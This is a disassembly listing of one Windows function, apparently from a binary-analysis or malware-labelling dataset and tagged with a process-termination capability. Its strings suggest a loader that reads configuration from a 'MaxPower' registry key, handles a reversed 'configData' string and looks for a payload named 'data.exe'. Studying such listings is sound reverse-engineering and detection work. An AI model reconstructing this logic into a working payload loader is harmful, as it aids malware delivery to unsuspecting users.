Function at 0x40791c
Capabilities:
Terminate process

Disassembly:
push 0x270
mov eax, 0x577924
call fcn.00550e3c
mov dword [ebp - 0x274], ecx
push 0x593884
mov ecx, 0x5ff524
call fcn.0040332b
push str.stan.mxp30.com
mov ecx, 0x5ff528
call fcn.0040332b
push str.1.7.16
mov ecx, 0x5ff534
call fcn.0040332b
push 0x5931cc
mov ecx, 0x5ff53c
call fcn.0040332b
and dword [ebp - 4], 0
push ecx
mov ecx, esp
mov dword [ebp - 0x27c], esp
push str.Debug
call fcn.00401485
mov byte [ebp - 4], 1
push ecx
mov ecx, esp
mov dword [ebp - 0x278], esp
push str.SoftwareMaxPower
call fcn.00401485
mov byte [ebp - 4], 2
push ecx
mov ecx, esp
mov dword [ebp - 0x270], esp
push str.HKEY_LOCAL_MACHINE
call fcn.00401485
mov byte [ebp - 4], 3
mov byte [ebp - 4], 2
call fcn.00429d9b
pop ecx
push eax
lea eax, [ebp - 0x26c]
push eax
mov byte [ebp - 4], 0
call fcn.00428137
add esp, 0x10
mov byte [ebp - 4], 4
push eax
mov ecx, 0x5ff558
call fcn.004070db
mov byte [ebp - 4], 5
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x26c]
lea ecx, [ecx - 0x10]
call fcn.004032e4
or dword [ebp - 4], 0xffffffff
push str.Start
call fcn.0041cd88
pop ecx
mov dword [ebp - 4], 7
push 0x593908
call fcn.0041cd88
mov dword [esp], 0x4073fa
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
or dword [ebp - 4], 0xffffffff
push 0xd
pop ebx
mov dword [ebp - 4], ebx
push 0x593848
mov ecx, 0x5ff558
call fcn.004071d7
test eax, eax
jne 0x407a06
mov byte [ebp - 4], 0xe
push str.c:logFile.txt
call fcn.00553498
pop ecx
jmp 0x407a03
mov dword [ebp - 4], ebx
push 4
call fcn.0042e09c
mov dword [ebp - 0x270], eax
mov byte [ebp - 4], 0x10
test eax, eax
je 0x407a29
mov dword [eax], vtable.COccManager.0
mov dword [eax], vtable.CCustomOccManager.0
jmp 0x407a2b
xor eax, eax
mov byte [ebp - 4], bl
push eax
call fcn.004422a1
mov dword [esp], str.get_payload
call fcn.0041cd88
mov dword [esp], 0x593270
mov ecx, 0x5ff55c
call fcn.0040332b
push 0x2d8
call fcn.0042cfde
pop ecx
mov dword [ebp - 0x270], eax
mov byte [ebp - 4], 0x11
test eax, eax
je 0x407a77
push 0
mov ecx, eax
call fcn.004092b0
mov esi, eax
jmp 0x407a79
xor esi, esi
mov dword [ebp - 0x26c], esi
mov byte [ebp - 4], bl
mov byte [ebp - 4], 0x12
push 0x20a
push 0
lea eax, [ebp - 0x220]
push eax
call fcn.0054fea0
add esp, 0xc
push 0x100
lea eax, [ebp - 0x220]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 4], ebx
jmp 0x407ac7
push str._ataDgifnoc_
lea ecx, [ebp - 0x238]
call fcn.004016bb
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x238]
cmp dword [ebp - 0x224], 0x10
mov edx, ecx
jae 0x407af2
lea edx, [ebp - 0x238]
mov eax, dword [ebp - 0x228]
add eax, edx
cmp dword [ebp - 0x224], 0x10
jae 0x407b09
lea ecx, [ebp - 0x238]
push eax
push ecx
call fcn.00406ffa
pop ecx
pop ecx
mov edi, dword [ebp - 0x228]
cmp dword [ebp - 0x224], 0x10
mov eax, dword [ebp - 0x238]
jae 0x407b2d
lea eax, [ebp - 0x238]
push edi
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x250]
push eax
call fcn.00421bdf
add esp, 0x10
mov byte [ebp - 4], 0x15
push 0
push 0x592ec4
push dword [ebp - 0x240]
push 0
lea ecx, [ebp - 0x250]
call fcn.00407647
test eax, eax
jne 0x407bb1
cmp dword [ebp - 0x224], 0x10
mov eax, dword [ebp - 0x238]
jae 0x407b7c
lea eax, [ebp - 0x238]
push edi
push eax
push str.data.exe
lea eax, [ebp - 0x268]
push eax
call fcn.00421bdf
add esp, 0x10
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x250]
call fcn.0040712b
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x268]
call fcn.00401d18
cmp dword [ebp - 0x23c], 0x10
mov eax, dword [ebp - 0x250]
jae 0x407bc6
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x26c]
call fcn.00401485
mov byte [ebp - 4], 0x17
lea ecx, [esi + 0x248]
push eax
call fcn.004070db
mov byte [ebp - 4], 0x18
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x26c]
lea ecx, [ecx - 0x10]
call fcn.004032e4
push str.stan
push str.kyle
mov edi, 0x5ff55c
mov ecx, edi
call fcn.00407438
mov eax, dword [0x5ff55c]
cmp dword [eax - 0xc], 0
jne 0x407cbe
mov esi, str.PAYLOAD_NOT_FOUND
push esi
call fcn.0041cd88
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x270], esp
push esi
call fcn.004016bb
mov byte [ebp - 4], 0x19
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x278], esp
push 0x592ec4
call fcn.004016bb
mov byte [ebp - 4], 0x1a
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x27c], esp
push esi
call fcn.004016bb
mov byte [ebp - 4], 0x1b
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x26c], esp
push esi
call fcn.004016bb
mov byte [ebp - 4], 0x1c
mov byte [ebp - 4], 0x15
call fcn.00418a90
add esp, 0x60
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.Error
push str.An_error_has_occurred
mov ecx, dword [ebp - 0x274]
lea ecx, [ecx + 0xcc]
call fcn.00431708
push 0xbb8
call fcn.00553866
lea ecx, [esi + 0x250]
push edi
call fcn.004070db
mov eax, dword [ebp - 0x274]
mov dword [eax + 0x20], esi
push edi
mov ecx, 0x5ff528
call fcn.004070db
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x270], esp
push str.Start_DoModal
call fcn.004016bb
mov byte [ebp - 4], 0x1d
mov byte [ebp - 4], 0x15
call fcn.00419beb
push str.DoModal__
call fcn.0041cd88
lea eax, [ebp - 0x274]
push eax
call fcn.0042a8cf
add esp, 0x20
mov byte [ebp - 4], 0x1e
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x274]
lea ecx, [ecx - 0x10]
call fcn.004032e4
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x170]
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x250]
call fcn.00401d18
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x238]
call fcn.00401d18
or dword [ebp - 4], 0xffffffff
mov al, 1
call fcn.00550d8e
ret